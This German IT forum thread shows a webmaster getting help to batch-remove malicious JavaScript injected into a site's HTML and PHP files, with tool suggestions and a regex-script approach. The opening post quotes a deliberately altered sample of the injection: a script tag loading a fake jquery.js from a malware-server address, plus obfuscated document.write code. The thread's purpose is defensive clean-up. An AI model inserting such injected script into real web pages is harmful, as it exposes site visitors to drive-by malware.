Top-Themen

Aktuelle Themen (A bis Z)

Administrator.de FeedbackApache ServerAppleAssemblerAudioAusbildungAuslandBackupBasicBatch & ShellBenchmarksBibliotheken & ToolkitsBlogsCloud-DiensteClusterCMSCPU, RAM, MainboardsCSSC und C++DatenbankenDatenschutzDebianDigitiales FernsehenDNSDrucker und ScannerDSL, VDSLE-BooksE-BusinessE-MailEntwicklungErkennung und -AbwehrExchange ServerFestplatten, SSD, RaidFirewallFlatratesGoogle AndroidGrafikGrafikkarten & MonitoreGroupwareHardwareHosting & HousingHTMLHumor (lol)Hyper-VIconsIDE & EditorenInformationsdiensteInstallationInstant MessagingInternetInternet DomäneniOSISDN & AnaloganschlüsseiTunesJavaJavaScriptKiXtartKVMLAN, WAN, WirelessLinuxLinux DesktopLinux NetzwerkLinux ToolsLinux UserverwaltungLizenzierungMac OS XMicrosoftMicrosoft OfficeMikroTik RouterOSMonitoringMultimediaMultimedia & ZubehörNetzwerkeNetzwerkgrundlagenNetzwerkmanagementNetzwerkprotokolleNotebook & ZubehörNovell NetwareOff TopicOpenOffice, LibreOfficeOutlook & MailPapierkorbPascal und DelphiPeripheriegerätePerlPHPPythonRechtliche FragenRedHat, CentOS, FedoraRouter & RoutingSambaSAN, NAS, DASSchriftartenSchulung & TrainingSEOServerServer-HardwareSicherheitSicherheits-ToolsSicherheitsgrundlagenSolarisSonstige SystemeSoziale NetzwerkeSpeicherkartenStudentenjobs & PraktikumSuche ProjektpartnerSuseSwitche und HubsTipps & TricksTK-Netze & GeräteUbuntuUMTS, EDGE & GPRSUtilitiesVB for ApplicationsVerschlüsselung & ZertifikateVideo & StreamingViren und TrojanerVirtualisierungVisual StudioVmwareVoice over IPWebbrowserWebentwicklungWeiterbildungWindows 7Windows 8Windows 10Windows InstallationWindows MobileWindows NetzwerkWindows ServerWindows SystemdateienWindows ToolsWindows UpdateWindows UserverwaltungWindows VistaWindows XPXenserverXMLZusammenarbeit

gelöst Per batch Text in HTML und PHP Dateien suchen und ersetzen

Mitglied: Rene1976

Rene1976 (Level 2) - Jetzt verbinden

29.08.2013 um 15:56 Uhr, 5476 Aufrufe, 7 Kommentare, 4 Danke

Hallo,

ich habe auf unserem Webserver Malware gefunden, die anscheinend viele.html und .php Dateien befallen hat.

Habe die befallenen Dateien alle heruntergeladen und die Teile der Webseite auf "under construction" gesetzt.

Jetzt suche ich ein Programm, dass per batch die Dateien öffnen kann und den gesamten Bereich durch "nichts" ersetzen kann bzw. löschen kann.

Bis jetzt habe ich das Programm Agent Ransack gefunden.
Das konnte mir alle infizierten Dateien finden.
Leider hat das Programm keine suchen und ersetzen Funktion.

Kennt jemand ein visuelles Programm das die Dateien erst auflistet und dann jede Datei nach dem Code durchsuchen kann und vor allem zuverlässig nur dieses Segment löschen kann?

Weiteres Problem dabei:
Der eingeschleuste Code ändern sich auf jeder Seite (es steht immer ein anderer Deep-Link drin, aber immer die gleich IP-Adresse).
Es ist also nicht auf jeder Seite gleich.

Gleich bleibt aber der Anfang und Schluss.

<!123>Inhalt der sich ändert <!123>

Beispiel (verändert - unbrauchbar):

<!--98a55d9688938f1544--><script type='text/javascript' src='http://IP-Adresse-des-Malware-Servers/tmp/jquery.js?Nummer=85&fid=d ...'></script><script type='text/javascript'>if (typeof KDDRTFGEG == weitere Befehle);document.write("weitere Befehle");KDDRTFGEG=true;}</script><!--98a55d9688938f1544-->

Ich brauch also ein Programm das mir zwischen bzw. inklusive Start und Ende alles löscht und vor allem den Rest der Datei unbeschädigt lässt.

Besten Dank für eure Tipps.

Rene
Mitglied: colinardo
29.08.2013 um 16:16 Uhr
Hallo Rene,
und täglich grüßt das Murmeltier
Schau dir mal UltraEdit an.
Ansonsten ließe sich das mit einem einfachen VBA-Script mit Regular Expression Replace durchführen. Beispiele gibts dazu hier im Forum genug.

Grüße Uwe
Bitte warten ..
Mitglied: Snowman25
29.08.2013 um 16:43 Uhr
Hi Rene1976,

Mir fällt spontan Notepad++ ein. Du musst dann zwar alle Dateien öffnen, aber dann kannst du auch in allen Dateien gleichzeitig suchen und ersetzen (oder dir die Ergebnisse anzeigen lassen und zur entsprechenden Datei + Position springen).

Gruß,
Snowman25
Bitte warten ..
Mitglied: colinardo
29.08.2013, aktualisiert um 17:10 Uhr
Zitat von colinardo:
Ansonsten ließe sich das mit einem einfachen VBA-Script mit Regular Expression Replace durchführen. Beispiele gibts dazu hier im Forum genug.
Ich geb zu, da war ich wieder mal lazy mit dem Suchverweis

hier ein mögliches VBS-Script dazu:
In Zeile 1 noch den Pfad zu deinen HTML-Dateien eintragen, und den passende Regular Expression String in Zeile 5 anpassen. Wenn du dich mit RegEx noch nicht auskennst kann ich dir gerne einen passenden Pattern zusammenbauen. Der jetzige passt auf dein gepostetes Beispiel. Das Script bearbeitet dann alle Dateien mit den folgenden Endungen (*.html / *.htm / *.php).

Grüße Uwe
Bitte warten ..
Mitglied: Rene1976
30.08.2013 um 12:17 Uhr
Hi Uwe und Snowman25,

danke für eure Antworten.
Ich wollte es zuerst mit Notepad probieren.
Leider musste ich feststellen das unser Newsletter-Archiv auch betroffen ist.

Problem:
Jeder Newsletter wird in einen eigenen Unterordner abgelegt.
Der Name der Newsletterdatei in den jeweiligen Unterordnern ist immer der gleiche.

Frage:
Wie kann man in den oben angegeben Skript alle Ordner mit Unterordner auf einmal durchsuchen und ersetzten?

Sorry, ich kann leider nicht programmieren.

Gruß,

Rene
Bitte warten ..
Mitglied: colinardo
30.08.2013 um 12:27 Uhr
Zitat von Rene1976:
Frage:
Wie kann man in den oben angegeben Skript alle Ordner mit Unterordner auf einmal durchsuchen und ersetzten?

Grüße Uwe
Bitte warten ..
Mitglied: Rene1976
30.08.2013 um 12:54 Uhr
Danke Uwe.

Das ging aber schnell.

Ich werde es heute noch ausprobieren.

Bis dann.

Rene
Bitte warten ..
Mitglied: Rene1976
30.08.2013 um 16:08 Uhr
Hi Uwe,

danke für dein neues Skript.
Im Test hat es wunderbar funktioniert.

Bin gerade dabei alles wieder zu bereinigen.

Bis dann und schönes Wochenende.

Rene
Bitte warten ..
Ähnliche Inhalte
Batch & Shell
Mit Einer Batch Datei Text Bearbeiten
gelöst Frage von ronny30021Batch & Shell2 Kommentare

Guten Tag miteinader Ich habe folgendes Problem: Ich würde gerne mit einer Batch-Datei eine Text-Datei durchsuchen, Das gesuchte wort ...

Batch & Shell

Text mit Batch Datei durchsuchen und ausgeben

Frage von newbie201Batch & Shell3 Kommentare

Hallo, ich bin blutiger Anfänger wenn es um batch Dateien geht, kann mir bitte jemand bei folgendem Problem helfen? ...

PHP

HTML Code in PHP

gelöst Frage von newit1PHP8 Kommentare

Hallo, es geht um folgenden PHP Code: In der letzten Zeile wird ein einer Tabelle die E-Mail Adresse ausgegeben. ...

JavaScript

Datumabhängiger Text in HTML anzeigen

gelöst Frage von joe2017JavaScript4 Kommentare

Hallo Zusammen, ich bin verzweifelt auf der Suche nach einem JavaScript, welches einen bestimmten Text zu einem bestimmten Datum ...

Neue Wissensbeiträge
Informationsdienste

Leistungsschutzrecht: Ein neuer Diskussionsentwurf liegt vor

Information von Frank vor 21 StundenInformationsdienste7 Kommentare

Anfang April (leider kein Scherz) hat das Bundesjustizministerium den nächsten ausformulierten Referentenentwurf für ein "erstes Gesetz zur Anpassung des ...

Instant Messaging

Videokonferenz oder Chatsystem für das Homeoffice

Information von Frank vor 1 TagInstant Messaging6 Kommentare

Ich hatte es bereits in einem Kommentar gepostet, da ich aber viele Nachfragen dazu bekam, hier noch mal meine ...

Off Topic

Ein wenig Aufklärung über Corona von Bill Gates persönlich

Information von Frank vor 1 TagOff Topic24 Kommentare

Amerika hat ein Problem: Die Arroganz des sehr klugen Präsidenten führte zur aktuellen Corona-Krise in den USA. Was jetzt ...

Off Topic
3D-Drucker gegen Corona - helft mit!
Information von DerWoWusste vor 2 TagenOff Topic12 Kommentare

Unter vorigem Link sind Anleitungen, wie man sich mit seinem 3D-Drucker an der Produktion (Druck) von Bauteilen für Atemmasken ...

Heiß diskutierte Inhalte
Windows Server
Windows 7 wird im WSUS nicht angezeigt
Frage von DavidHergWindows Server24 Kommentare

Guten Abend zusammen, nachdem sich die Frage mit meinem WSUS erledigt hat und somit alles jetzt funktioniert, hab ich ...

Off Topic
Ein wenig Aufklärung über Corona von Bill Gates persönlich
Information von FrankOff Topic24 Kommentare

Amerika hat ein Problem: Die Arroganz des sehr klugen Präsidenten führte zur aktuellen Corona-Krise in den USA. Was jetzt ...

Windows Server
Hyper-V VM vorm Admin absichern
Frage von MarabuntaWindows Server24 Kommentare

Hallo, wie bekomme ich eine VM in WS 2012 Hyper-V soweit abgetrennt, dass ein Admin ohne Passwort keinen (leichten) ...

Festplatten, SSD, Raid
Storage Wahl für Virtualisierungsumgebung
Frage von Le2000Festplatten, SSD, Raid11 Kommentare

Hallo allerseits, da ich bereits seit einiger Zeit aus der Materie ausgestiegen war und mich allmählich wieder einarbeite, wüsste ...